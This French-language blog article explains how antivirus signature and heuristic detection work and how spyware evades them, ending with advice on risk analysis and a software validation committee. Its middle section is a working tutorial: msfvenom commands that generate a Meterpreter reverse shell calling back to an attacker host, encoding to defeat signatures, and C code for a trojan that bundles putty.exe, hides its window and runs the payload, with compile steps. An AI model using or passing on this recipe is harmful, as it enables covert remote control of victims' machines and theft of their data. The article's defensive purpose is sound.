Antivirus : technique d’évasion des logiciels espions

Antivirus : technique d'évasion des logiciels espionsC’est un sujet assez sensible, et au coeur des préoccupations de toute société. L’espionnage industriel autant qu’étatique est une réalité et il serait bien présomptueux de se croire sous l’égide d’une protection informatique absolue. Si certains responsables en sécurité pensent que leur antivirus les protège efficacement de toutes menaces, cet article est pour eux ! Je vous montrerais, ici, les techniques classiques d’évasion des logiciels espions ainsi que les contre-mesures à appliquer et trop souvent oubliées.

Niveau Management et législatif : Bonne maîtrise des enjeux économiques
Niveau Technique : Connaissance de base de  Métasploit

L’analyse de riiisque, c’est vraiment….

L’analyse de risque c’est, évidemment, LA première chose à faire avant de tomber dans la paranoïa, et croyez moi après cet article vous risquez d’y tomber. Pondérer la valeur de ses informations (recherche, contact clientèle, …) et évaluer les menaces (concurrent agressif, script kiddies,…) vous permet d’avoir un oeil plus critique sur la suite de cet article. Inutile de mettre des protections efficaces mais coûteuses si l’occurrence de la menace est faible et le risque minime.

Pour mieux vous situer dans votre évaluation, j’essaierais à chaque fois d’associer les attaques et techniques d’évasion aux capacités et à l’effort de l’attaquant. En contre-partie, je me réserve le droit de donner aux pen-testeur qui nous lisent une estimation de la présence des protections associées en fonction des sociétés. Voilà donc deux petits tableaux très utiles pour la suite :

Estimation de l’attaquant Niveau de la contre mesure
Script-kiddies Le premier antivirus d’analyse par signature fera l’affaire
Développeur débutant Un antivirus par comportement est plus que fortement conseillé
Développeur confirmé Une cellule de certification technique et une cellule de validation managériale risque d’être nécessaire

 

Estimation de l’attaquant Présence Evasion
Détection par signature Tout le temps Relativement facile
Détection par heuristique ou comportemental Souvent dans les entreprises de taille moyenne et grande Difficile
Cellule de certification technique Rare!! : le plus souvent sur des  ressources de défense ou à très fort impact économique Très très difficile

 Mais un antivirus comment ça marche ??

Ah, je vous reconnais bien là, curieux et espiègle comme des écoliers. Nous allons aborder deux types d’analyse antivirus représentant la majorité des antivirus sur le marché,  pour ne pas dire presque tous : l’analyse par base de signature et l’analyse par heuristique.

L’analyse par base de signature

C’est le premier type de recherche de logiciel malveillant. Pour faire une analogie, disons que notre antivirus est un berger ! Nous avons à disposition :

 mouton marque_cleanMouton marque Des moutons marqués : les logiciels connus
 mouton_normal Des moutons non marqués : les logiciels inconnus
 enclos Un enclos avec de l’herbe fraîche : notre système
 Camp de quarantaine malware Un enclos type camps Nord-Coréen : c’est notre zone de quarantaine
 mouton abattoir Un abattoir

Un mouton normal est un logiciel sain, un mouton malade (en rose) est un logiciel malveillant. Lorsqu’un mouton arrive, notre berger regarde s’il est marqué.
Si la marque est “mouton normal“, l’antivirus ouvre l’enclos d’herbe fraîche.
Si la marque est “mouton malade“, il vous demande si vous préférez le garder en quarantaine pour l’étudier ou le supprimer à l’abattoir.
Si le mouton n’est pas marqué…et bien il va chercher le dictionnaire pour savoir si son mouton a une maladie connue. S’il ne trouve rien, il ouvre l’enclos d’herbe fraîche et s’il voit une maladie il marque le mouton en “mouton malade” (en rose).

Le problème est donc sur la base de connaissance de notre antivirus, le berger  rappelez vous, doit régulièrement vérifier et télécharger continuellement sa base de maladie connue. Du coup, si la maladie est nouvelle, et bien il ne voit rien et laisse entrer le mouton malade dans l’enclos à herbe fraîche.

Cette approche est donc très utile pour les virus in the wild, c’est à dire lachés dans la nature du Web. Elle est par contre, inefficace contre des attaques ciblées.

Comment ajouter un nouveau logiciel malveillant dans notre dictionnaire ?

Et bien, un logiciel malveillant possède des éléments de code fixes qui ne mutent pas, un peu comme les cellules souches d’une maladie. On utilise, donc, ces éléments fixes pour créer une signature. On peut ensuite l’identifier grâce à cette signature, de la même manière que l’on détermine un virus en fonction de son ARN/ADN .

L’analyse heuristique

Ici c’est un peu plus compliqué. Reprenons notre exemple du Berger.
Se présente à lui un mouton non marqué, seulement cette fois, au lieu d’aller chercher un dictionnaire, il va chercher un vétérinaire qui va regarder les symptômes du mouton.
L’analyse par heuristique est similaire. Lorsqu’un logiciel inconnu s’exécute, l’antivirus le lance dans un environnement virtuel la sandbox. Il va ensuite analyser le comportement du logiciel : est ce qu’il se connecte vers l’extérieur ? Fait-il des appels systèmes dangereux ? etc. Il pose alors un diagnostique et décide de le marquer en “malade” ou “non malade“.

Ici, même les maladies inconnues peuvent être repérées !

Antivirus : technique d’évasion des logiciels espions

Mettons nous à présent dans la peau d’un vil informaticien qui a été engagé par une société pour récupérer des documents sensibles voir confidentiels. Notre logiciel espion se présentera sous la forme d’un reverse shell (pour en savoir plus sur le reverse shell, c’est ici).

Principe de base sans technique d’évasion

Tout script kiddies (hackeur en herbe) qui se respecte connait Metasploit et ses tutos magiques. Il n’est donc pas très compliqué de réaliser une charge maline (ici, notre reverse shell). Msfvenom sera notre outil de prédilection !

#> msfvenom -p windows/meterpreter/reverse_tcp\
 LHOST=machineAttaquante.com  LPORT=443 \
-f exe > mon_malware.exe

Et vous obtenez un exe tout prêt pour la prise de contrôle de machine.
Evidemment, avec un anti-virus de base ça ne risque pas de passer…

Niveau : script-kiddies & in the wild

Chiffrement et réécriture

Si un antivirus par signature détecte notre charge aussi vite c’est parce qu’elle est bien connue du fameux “dictionnaire des maladies“. Nous allons donc modifier le code de notre espion pour le rendre indétectable lors d’une analyse par signature. Nous allons construire un cheval de Troie, Joie ! La recette pour un bon cheval de Troie est :

  1. Un template de corps :  main.c
  2. Un programme sain quelconque : ici, ce sera putty.exe
  3. Une charge : notre reverse shell

Nous allons réécrire un nouveau programme, donc inconnu de la base de référence de l’antivirus, qui va appeler successivement le programme sain puis notre charge maline. C’est un algorithme évidemment simpliste mais c’est pour la démo.

#define _WIN32_WINNT 0x0500//Propriété de la fenêtre d'exécution
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
/ *** 
On rajoute un peu de padding aléatoire
Vous pouvez en générer avec la commande :
#> cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 926
***/
unsigned char padding[]="";
//Notre charge est là
extern unsigned char payload[];
//Notre programme sain est là
extern unsigned char appli_exe[];
extern unsigned int appli_exe_len;
int main(int argc, char **argv){
/***init var***/
...
/***On copie le fichier sain dans un dossier temporaire***/
...
/***On lance le programme sain en tache de fond***/
...
/***On s'assure de cacher la fenêtre d'exécution***/
HWND hWnd = GetConsoleWindow();
if(hWnd){ShowWindow (hWnd, FALSE);}
/***On lance notre charge***/
((void (*)())payload)();
return 0;
}

Et afin, qu’une signature ne puisse être identifiée, nous allons chiffrer notre charge grâce encore à msfvenom. Le chiffrement et la réécriture de code font parti des techniques dites de polymorphisme.

La structure du programme change exactement comme un virus ou une bactérie mute pour résister aux attaques extérieures.

#>msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=machineAttaquante.com LPORT=443 \
-e x86/shikata_ga_nai -i 8 -f c > payload.c

Nous allons ensuite ajouter le fichier sain afin que notre corps de programme puisse l’exécuter. Pour ce faire, nous allons transformer notre exécutable en fichier hexadecimal afin qu’il puisse être copié et s’exécuter en tâche de fond. Il faudra surement éditer healthy.c pour que la variable renseignée dans votre main.c corresponde à celle créée par xxd.

#>xxd -i putty.exe > healthy.c

Le petit plus est d’ajouter une icone afin que notre cheval de Troie ne ressemble pas à un lapin. Télécharger une icone sur le net via n’importe quel moteur de recherche puis créer le fichier ico.rc

#include <windows.h>
1 ICON DISCARDABLE mon_icone.ico

Puis on crée l’objet :

#>./windres.exe -o ico.o ico.rc

On compile et c’est prêt !

#>cd .wine/drive_c/MinGW/bin
#>./gcc.exe ico.o healthy.c payload.c main.c -o mon_cheval.exe

Si ce logiciel espion passe la plupart des antivirus par signature, c’est beaucoup plus compliqué pour les détections par heuristique. La démo en image :

Niveau : Développeur débutant

Définition de fonctions non détectées

Si l’analyse par heuristique bloque notre logiciel malveillant c’est que meterpreter est un outil très puissant possédant des fonctions et appels systèmes facilement identifiable comme dangereux. Nous allons donc développer notre propre reverse shell et voir les fonctions que l’antivirus ne détecte pas. Je ne détaillerais pas la création de ce reverse shell en C, mais vous pouvez tout à fait adapter l’exemple python donné ici.

Concernant une communication client-serveur sous TLS un très bon exemple est donnée sur ce lien. J’en remercie d’ailleurs grandement son auteur ! Et si vous avez vraiment des problèmes, n’hésitez pas : écrivez moi ou postez des commentaires pour que tout le monde puisse profiter !

Niveau : Développeur confirmé

“Traverser la mer à l’insu du ciel”

Evidemment, des êtres vils et malveillants ne vont pas utiliser l’une ou l’autre technique…NON! ils vont les appliquer toutes en même temps !! Et la plupart du temps de façon automatisée.
Leur mot d’ordre sera toujours de vous détourner de leur objectif primaire. Or une machine déterministe n’est pas en mesure d’identifier le sens caché de certains bouts de code…ça reste une machine. Et nos PCs ne sont pas encore assez puissant pour exécuter des modules d’intelligence artificielle pour ces choses là. Il existe cependant une parade pour se protéger efficacement des logiciels espions.

Et c’est TOI ! Manager..que dis je ! Stratège en sécurité informatique qui peut mettre en place cette solution. Cela s’appelle un comité de validation.
Il est composé d’une équipe d’expert technique dirigée par un Dr House de l’informatique et une équipe d’expert du risque dont les objectifs sont les suivants :

  • L’équipe d’expert technique est en charge de l’analyse des menaces potentielles induites par le comportement d’une application
  • L’équipe d’expert du risque a le devoir d’évaluer le risque lié à ces menaces et de le réduire/transférer/éviter/accepter

Ainsi TOUS logiciels à destination des socles bureautiques ou des serveurs de l’entreprise doivent être validés et accrédités avant d’être installés en production. C’est évidemment une solution coûteuse puisqu’elle nécessite des ressources humaines et un environnement de test cloisonné.

Il ne tient qu’à vous de déterminer quelle solution employer en fonction de votre adversaire et des données qu’il pourrait convoiter. Une bonne évaluation du risque pourra vous faire économiser beaucoup d’argent et assurer à votre société une protection confortable.